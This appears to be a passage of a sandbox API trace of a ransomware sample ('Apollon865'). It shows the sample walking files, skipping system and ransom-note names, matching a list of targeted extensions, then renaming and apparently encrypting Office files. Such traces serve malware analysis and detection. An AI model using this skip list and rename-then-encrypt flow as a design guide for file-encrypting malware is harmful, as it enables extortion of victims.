	[0069.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.324] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.324] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.324] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.325] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ed0, lpName=0x0) returned 0x118
	[0069.326] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ed0) returned 0x100000
	[0069.327] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.331] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.331] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.331] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.331] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.331] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.331] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.331] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.332] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.332] CloseHandle (hObject=0x118) returned 1
	[0069.332] CloseHandle (hObject=0x15c) returned 1
	[0069.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.332] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94fa5500, ftCreationTime.dwHighDateTime=0x1ca1b39, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94fa5500, ftLastWriteTime.dwHighDateTime=0x1ca1b39, nFileSizeHigh=0x0, nFileSizeLow=0xe2d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGMN011.XML", cAlternateFileName="")) returned 1
	[0069.332] lstrcmpiW (lpString1="PGMN011.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.332] lstrcmpiW (lpString1="PGMN011.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.332] lstrcmpiW (lpString1="PGMN011.XML", lpString2=".") returned 1
	[0069.332] lstrcmpiW (lpString1="PGMN011.XML", lpString2="..") returned 1
	[0069.332] lstrcmpiW (lpString1="PGMN011.XML", lpString2="windows") returned -1
	[0069.332] lstrcmpiW (lpString1="PGMN011.XML", lpString2="bootmgr") returned 1
	[0069.332] lstrcmpiW (lpString1="PGMN011.XML", lpString2="temp") returned -1
	[0069.332] lstrcmpiW (lpString1="PGMN011.XML", lpString2="pagefile.sys") returned 1
	[0069.332] lstrcmpiW (lpString1="PGMN011.XML", lpString2="boot") returned 1
	[0069.332] lstrcmpiW (lpString1="PGMN011.XML", lpString2="ids.txt") returned 1
	[0069.332] lstrcmpiW (lpString1="PGMN011.XML", lpString2="ntuser.dat") returned 1
	[0069.332] lstrcmpiW (lpString1="PGMN011.XML", lpString2="perflogs") returned 1
	[0069.332] lstrcmpiW (lpString1="PGMN011.XML", lpString2="MSBuild") returned 1
	[0069.332] lstrlenW (lpString="PGMN011.XML") returned 11
	[0069.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN010.XML") returned 63
	[0069.332] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN011.XML" | out: lpString1="PGMN011.XML") returned="PGMN011.XML"
	[0069.332] lstrlenW (lpString="PGMN011.XML") returned 11
	[0069.332] lstrlenW (lpString="Apollon865") returned 10
	[0069.332] lstrcmpiW (lpString1="GMN011.XML", lpString2="Apollon865") returned 1
	[0069.333] lstrlenW (lpString=".dll") returned 4
	[0069.333] lstrcmpiW (lpString1="PGMN011.XML", lpString2=".dll") returned 1
	[0069.333] lstrlenW (lpString=".lnk") returned 4
	[0069.333] lstrcmpiW (lpString1="PGMN011.XML", lpString2=".lnk") returned 1
	[0069.333] lstrlenW (lpString=".ini") returned 4
	[0069.333] lstrcmpiW (lpString1="PGMN011.XML", lpString2=".ini") returned 1
	[0069.333] lstrlenW (lpString=".sys") returned 4
	[0069.333] lstrcmpiW (lpString1="PGMN011.XML", lpString2=".sys") returned 1
	[0069.333] lstrlenW (lpString="PGMN011.XML") returned 11
	[0069.333] lstrlenW (lpString="bak") returned 3
	[0069.333] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.333] lstrlenW (lpString="ba_") returned 3
	[0069.333] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.333] lstrlenW (lpString="dbb") returned 3
	[0069.333] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.333] lstrlenW (lpString="vmdk") returned 4
	[0069.333] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.333] lstrlenW (lpString="rar") returned 3
	[0069.333] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.333] lstrlenW (lpString="zip") returned 3
	[0069.333] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.333] lstrlenW (lpString="tgz") returned 3
	[0069.333] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.333] lstrlenW (lpString="vbox") returned 4
	[0069.333] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.333] lstrlenW (lpString="vdi") returned 3
	[0069.333] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.333] lstrlenW (lpString="vhd") returned 3
	[0069.333] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.333] lstrlenW (lpString="vhdx") returned 4
	[0069.333] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.333] lstrlenW (lpString="avhd") returned 4
	[0069.333] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.333] lstrlenW (lpString="db") returned 2
	[0069.333] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.333] lstrlenW (lpString="db2") returned 3
	[0069.333] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.334] lstrlenW (lpString="db3") returned 3
	[0069.334] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.334] lstrlenW (lpString="dbf") returned 3
	[0069.334] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.334] lstrlenW (lpString="mdf") returned 3
	[0069.334] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.334] lstrlenW (lpString="mdb") returned 3
	[0069.334] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.334] lstrlenW (lpString="sql") returned 3
	[0069.334] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.334] lstrlenW (lpString="sqlite") returned 6
	[0069.334] lstrcmpiW (lpString1="11.XML", lpString2="sqlite") returned -1
	[0069.334] lstrlenW (lpString="sqlite3") returned 7
	[0069.334] lstrcmpiW (lpString1="011.XML", lpString2="sqlite3") returned -1
	[0069.334] lstrlenW (lpString="sqlitedb") returned 8
	[0069.334] lstrcmpiW (lpString1="N011.XML", lpString2="sqlitedb") returned -1
	[0069.334] lstrlenW (lpString="xml") returned 3
	[0069.334] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.334] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN011.XML.Apollon865") returned 74
	[0069.334] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN011.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn011.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN011.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn011.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN011.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn011.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.335] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=58072) returned 1
	[0069.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.335] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.336] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.336] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.336] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe5e0, lpName=0x0) returned 0x118
	[0069.338] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe5e0) returned 0x100000
	[0069.341] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.341] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.341] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.341] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.341] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.342] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.343] CloseHandle (hObject=0x118) returned 1
	[0069.343] CloseHandle (hObject=0x15c) returned 1
	[0069.343] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.343] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.343] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.343] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc63d500, ftCreationTime.dwHighDateTime=0x1ca1b38, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc63d500, ftLastWriteTime.dwHighDateTime=0x1ca1b38, nFileSizeHigh=0x0, nFileSizeLow=0x2936, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGMN020.XML", cAlternateFileName="")) returned 1
	[0069.343] lstrcmpiW (lpString1="PGMN020.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.343] lstrcmpiW (lpString1="PGMN020.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.343] lstrcmpiW (lpString1="PGMN020.XML", lpString2=".") returned 1
	[0069.343] lstrcmpiW (lpString1="PGMN020.XML", lpString2="..") returned 1
	[0069.343] lstrcmpiW (lpString1="PGMN020.XML", lpString2="windows") returned -1
	[0069.343] lstrcmpiW (lpString1="PGMN020.XML", lpString2="bootmgr") returned 1
	[0069.343] lstrcmpiW (lpString1="PGMN020.XML", lpString2="temp") returned -1
	[0069.343] lstrcmpiW (lpString1="PGMN020.XML", lpString2="pagefile.sys") returned 1
	[0069.343] lstrcmpiW (lpString1="PGMN020.XML", lpString2="boot") returned 1
	[0069.343] lstrcmpiW (lpString1="PGMN020.XML", lpString2="ids.txt") returned 1
	[0069.343] lstrcmpiW (lpString1="PGMN020.XML", lpString2="ntuser.dat") returned 1
	[0069.343] lstrcmpiW (lpString1="PGMN020.XML", lpString2="perflogs") returned 1
	[0069.344] lstrcmpiW (lpString1="PGMN020.XML", lpString2="MSBuild") returned 1
	[0069.344] lstrlenW (lpString="PGMN020.XML") returned 11
	[0069.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN011.XML") returned 63
	[0069.344] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN020.XML" | out: lpString1="PGMN020.XML") returned="PGMN020.XML"
	[0069.344] lstrlenW (lpString="PGMN020.XML") returned 11
	[0069.344] lstrlenW (lpString="Apollon865") returned 10
	[0069.344] lstrcmpiW (lpString1="GMN020.XML", lpString2="Apollon865") returned 1
	[0069.344] lstrlenW (lpString=".dll") returned 4
	[0069.344] lstrcmpiW (lpString1="PGMN020.XML", lpString2=".dll") returned 1
	[0069.344] lstrlenW (lpString=".lnk") returned 4
	[0069.344] lstrcmpiW (lpString1="PGMN020.XML", lpString2=".lnk") returned 1
	[0069.344] lstrlenW (lpString=".ini") returned 4
	[0069.344] lstrcmpiW (lpString1="PGMN020.XML", lpString2=".ini") returned 1
	[0069.344] lstrlenW (lpString=".sys") returned 4
	[0069.344] lstrcmpiW (lpString1="PGMN020.XML", lpString2=".sys") returned 1
	[0069.344] lstrlenW (lpString="PGMN020.XML") returned 11
	[0069.344] lstrlenW (lpString="bak") returned 3
	[0069.344] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.344] lstrlenW (lpString="ba_") returned 3
	[0069.344] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.344] lstrlenW (lpString="dbb") returned 3
	[0069.344] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.344] lstrlenW (lpString="vmdk") returned 4
	[0069.344] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.344] lstrlenW (lpString="rar") returned 3
	[0069.344] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.344] lstrlenW (lpString="zip") returned 3
	[0069.344] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.344] lstrlenW (lpString="tgz") returned 3
	[0069.344] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.344] lstrlenW (lpString="vbox") returned 4
	[0069.344] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.344] lstrlenW (lpString="vdi") returned 3
	[0069.344] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.344] lstrlenW (lpString="vhd") returned 3
	[0069.344] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.344] lstrlenW (lpString="vhdx") returned 4
	[0069.344] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.345] lstrlenW (lpString="avhd") returned 4
	[0069.345] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.345] lstrlenW (lpString="db") returned 2
	[0069.345] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.345] lstrlenW (lpString="db2") returned 3
	[0069.345] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.345] lstrlenW (lpString="db3") returned 3
	[0069.345] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.345] lstrlenW (lpString="dbf") returned 3
	[0069.345] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.345] lstrlenW (lpString="mdf") returned 3
	[0069.345] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.345] lstrlenW (lpString="mdb") returned 3
	[0069.345] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.345] lstrlenW (lpString="sql") returned 3
	[0069.345] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.345] lstrlenW (lpString="sqlite") returned 6
	[0069.345] lstrcmpiW (lpString1="20.XML", lpString2="sqlite") returned -1
	[0069.345] lstrlenW (lpString="sqlite3") returned 7
	[0069.345] lstrcmpiW (lpString1="020.XML", lpString2="sqlite3") returned -1
	[0069.345] lstrlenW (lpString="sqlitedb") returned 8
	[0069.345] lstrcmpiW (lpString1="N020.XML", lpString2="sqlitedb") returned -1
	[0069.345] lstrlenW (lpString="xml") returned 3
	[0069.345] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.345] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN020.XML.Apollon865") returned 74
	[0069.345] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN020.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn020.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN020.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn020.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN020.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn020.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.347] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=10550) returned 1
	[0069.347] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.347] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.347] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.347] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.348] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.348] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.348] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c40, lpName=0x0) returned 0x118
	[0069.349] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c40) returned 0x100000
	[0069.350] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.351] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.351] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.351] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.351] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.351] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.351] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.351] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.351] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.351] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.352] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.352] CloseHandle (hObject=0x118) returned 1
	[0069.352] CloseHandle (hObject=0x15c) returned 1
	[0069.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.352] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17af0200, ftCreationTime.dwHighDateTime=0x1ca06ab, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17af0200, ftLastWriteTime.dwHighDateTime=0x1ca06ab, nFileSizeHigh=0x0, nFileSizeLow=0x167d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGMN022.XML", cAlternateFileName="")) returned 1
	[0069.352] lstrcmpiW (lpString1="PGMN022.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.352] lstrcmpiW (lpString1="PGMN022.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.352] lstrcmpiW (lpString1="PGMN022.XML", lpString2=".") returned 1
	[0069.352] lstrcmpiW (lpString1="PGMN022.XML", lpString2="..") returned 1
	[0069.352] lstrcmpiW (lpString1="PGMN022.XML", lpString2="windows") returned -1
	[0069.352] lstrcmpiW (lpString1="PGMN022.XML", lpString2="bootmgr") returned 1
	[0069.352] lstrcmpiW (lpString1="PGMN022.XML", lpString2="temp") returned -1
	[0069.353] lstrcmpiW (lpString1="PGMN022.XML", lpString2="pagefile.sys") returned 1
	[0069.353] lstrcmpiW (lpString1="PGMN022.XML", lpString2="boot") returned 1
	[0069.353] lstrcmpiW (lpString1="PGMN022.XML", lpString2="ids.txt") returned 1
	[0069.353] lstrcmpiW (lpString1="PGMN022.XML", lpString2="ntuser.dat") returned 1
	[0069.353] lstrcmpiW (lpString1="PGMN022.XML", lpString2="perflogs") returned 1
	[0069.353] lstrcmpiW (lpString1="PGMN022.XML", lpString2="MSBuild") returned 1
	[0069.353] lstrlenW (lpString="PGMN022.XML") returned 11
	[0069.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN020.XML") returned 63
	[0069.353] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN022.XML" | out: lpString1="PGMN022.XML") returned="PGMN022.XML"
	[0069.353] lstrlenW (lpString="PGMN022.XML") returned 11
	[0069.353] lstrlenW (lpString="Apollon865") returned 10
	[0069.353] lstrcmpiW (lpString1="GMN022.XML", lpString2="Apollon865") returned 1
	[0069.353] lstrlenW (lpString=".dll") returned 4
	[0069.353] lstrcmpiW (lpString1="PGMN022.XML", lpString2=".dll") returned 1
	[0069.353] lstrlenW (lpString=".lnk") returned 4
	[0069.353] lstrcmpiW (lpString1="PGMN022.XML", lpString2=".lnk") returned 1
	[0069.353] lstrlenW (lpString=".ini") returned 4
	[0069.353] lstrcmpiW (lpString1="PGMN022.XML", lpString2=".ini") returned 1
	[0069.353] lstrlenW (lpString=".sys") returned 4
	[0069.353] lstrcmpiW (lpString1="PGMN022.XML", lpString2=".sys") returned 1
	[0069.353] lstrlenW (lpString="PGMN022.XML") returned 11
	[0069.353] lstrlenW (lpString="bak") returned 3
	[0069.353] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.353] lstrlenW (lpString="ba_") returned 3
	[0069.353] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.353] lstrlenW (lpString="dbb") returned 3
	[0069.353] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.353] lstrlenW (lpString="vmdk") returned 4
	[0069.353] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.353] lstrlenW (lpString="rar") returned 3
	[0069.353] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.353] lstrlenW (lpString="zip") returned 3
	[0069.353] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.353] lstrlenW (lpString="tgz") returned 3
	[0069.353] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.353] lstrlenW (lpString="vbox") returned 4
	[0069.353] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.354] lstrlenW (lpString="vdi") returned 3
	[0069.354] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.354] lstrlenW (lpString="vhd") returned 3
	[0069.354] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.354] lstrlenW (lpString="vhdx") returned 4
	[0069.354] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.354] lstrlenW (lpString="avhd") returned 4
	[0069.354] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.354] lstrlenW (lpString="db") returned 2
	[0069.354] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.354] lstrlenW (lpString="db2") returned 3
	[0069.354] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.354] lstrlenW (lpString="db3") returned 3
	[0069.354] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.354] lstrlenW (lpString="dbf") returned 3
	[0069.354] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
